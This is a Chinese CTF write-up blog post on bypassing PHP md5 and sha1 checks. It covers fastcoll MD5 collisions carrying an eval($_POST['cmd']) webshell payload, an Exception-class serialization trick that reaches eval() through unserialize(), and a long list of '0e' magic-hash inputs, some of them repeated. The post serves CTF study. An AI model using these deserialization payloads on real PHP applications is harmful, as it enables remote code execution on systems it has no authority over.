使用fastcoll生成字符串MD5碰撞及Exception类绕过md5、sha1


使用fastcoll生成字符串MD5碰撞及Exception类绕过md5、sha1及其他绕过方法

使用fastcoll生成字符串MD5碰撞

题目源码

<?php
show_source(__FILE__);
class CDUTSEC
{
    public $var1;
    public $var2;

    function __construct($var1, $var2)
    {
        $var1 = $var1;
        $var2 = $var2;
    }

    function __destruct()
    {
        echo md5($this->var1);
        echo md5($this->var2);
        if (($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2))) {
            eval($this->var1);
        }
    }
}

unserialize($_GET['payload']);

fastcoll.exe下载

先新建一个txt文件,里面写入payloadeval($_POST['cmd']);?>,然后把这个txt文件用这个exe打开,就可以得到两个不一样的txt文件,但是他们的md5值是相同的。

然后利用反序列化构建我们的payload:

<?php
class CDUTSEC{
    public $var1;
    public $var2;
}

$tr = new CDUTSEC();
$tr->var1 = file_get_contents('1_msg1.txt');
$tr->var2 = file_get_contents('1_msg2.txt');

echo urlencode(serialize($tr));

Exception类绕过md5、sha1

<?php
show_source(__FILE__);
class CDUTSEC
{
    public $var1;
    public $var2;

    function __construct($var1, $var2)
    {
        $var1 = $var1;
        $var2 = $var2;
    }

    function __destruct()
    {
        echo md5($this->var1);
        echo md5($this->var2);
        if (($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1) === sha1($this->var2))) {
            eval($this->var1);
        }
    }
}

unserialize($_GET['payload']);

这次比上题多了一个sha1,但是fastcool不能满足sha1绕过,所以我们使用Exception类绕过md5、sha1

<?php
class CDUTSEC
{
    public $var1;
    public $var2;
}
$cmd="phpinfo();?>";
$a = new Exception($cmd);$b = new Exception($cmd,1);
$tr = new CDUTSEC();
$tr->var1=$a;
$tr->var2=$b;
echo urlencode(serialize($tr));

注意a和b记得放在同一行

否则会绕过失败

其他绕过sha1和md5方法

数组绕过

传入开头都是0E的两个值

PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

纯数字类:

240610708
0e462097431906509019562988736854

314282422
0e990995504821699494520356953734

571579406
0e972379832854295224118025748221

903251147
0e174510503823932942361353209384
1110242161
0e435874558488625891324861198103

1320830526
0e912095958985483346995414060832

1586264293
0e622743671155995737639662718498

2302756269
0e250566888497473798724426794462

2427435592
0e067696952328669732475498472343

2653531602
0e877487522341544758028810610885

3293867441
0e471001201303602543921144570260

3295421201
0e703870333002232681239618856220

3465814713
0e258631645650999664521705537122

3524854780
0e507419062489887827087815735195

3908336290
0e807624498959190415881248245271

4011627063
0e485805687034439905938362701775

4775635065
0e998212089946640967599450361168

4790555361
0e643442214660994430134492464512

5432453531
0e512318699085881630861890526097

5579679820
0e877622011730221803461740184915

5585393579
0e664357355382305805992765337023

6376552501
0e165886706997482187870215578015

7124129977
0e500007361044747804682122060876

7197546197
0e915188576072469101457315675502

7656486157
0e451569119711843337267091732412

大写字母类:

QLTHNDT
0e405967825401955372549139051580

QNKCDZO
0e830400451993494058024219903391

EEIZDOI
0e782601363539291779881938479162

TUFEPMC
0e839407194569345277863905212547

UTIPEZQ
0e382098788231234954670291303879

UYXFLOI
0e552539585246568817348686838809

IHKFRNS
0e256160682445802696926137988570

PJNPDWY
0e291529052894702774557631701704

ABJIHVY
0e755264355178451322893275696586

DQWRASX
0e742373665639232907775599582643

DYAXWCA
0e424759758842488633464374063001

GEGHBXL
0e248776895502908863709684713578

GGHMVOE
0e362766013028313274586933780773

GZECLQZ
0e537612333747236407713628225676

NWWKITQ
0e763082070976038347657360817689

NOOPCJF
0e818888003657176127862245791911

MAUXXQC
0e478478466848439040434801845361

MMHUWUV
0e701732711630150438129209816536

混合类:
QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

s1502113478a
0e861580163291561247404381396064

s1885207154a
0e509367213418206700842008763514

0e861580163291561247404381396064

s1885207154a
0e509367213418206700842008763514

s1836677006a
0e481036490867661113260034900752

s155964671a
0e342768416822451524974117254469

s1184209335a
0e072485820392773389523109082030

s1665632922a
0e731198061491163073197128363787

s1502113478a
0e861580163291561247404381396064

s1836677006a
0e481036490867661113260034900752

s1091221200a
0e940624217856561557816327384675

s155964671a
0e342768416822451524974117254469

s1502113478a
0e861580163291561247404381396064

s155964671a
0e342768416822451524974117254469

s1665632922a
0e731198061491163073197128363787

s155964671a
0e342768416822451524974117254469

s1091221200a
0e940624217856561557816327384675

s1836677006a
0e481036490867661113260034900752

s1885207154a
0e509367213418206700842008763514

s532378020a
0e220463095855511507588041205815

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s214587387a
0e848240448830537924465865611904

s1502113478a
0e861580163291561247404381396064

s1091221200a
0e940624217856561557816327384675

s1665632922a
0e731198061491163073197128363787

s1885207154a
0e509367213418206700842008763514

s1836677006a
0e481036490867661113260034900752

s1665632922a
0e731198061491163073197128363787

s878926199a
0e545993274517709034328855841020


文章作者: Rolemee
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Rolemee !
  目录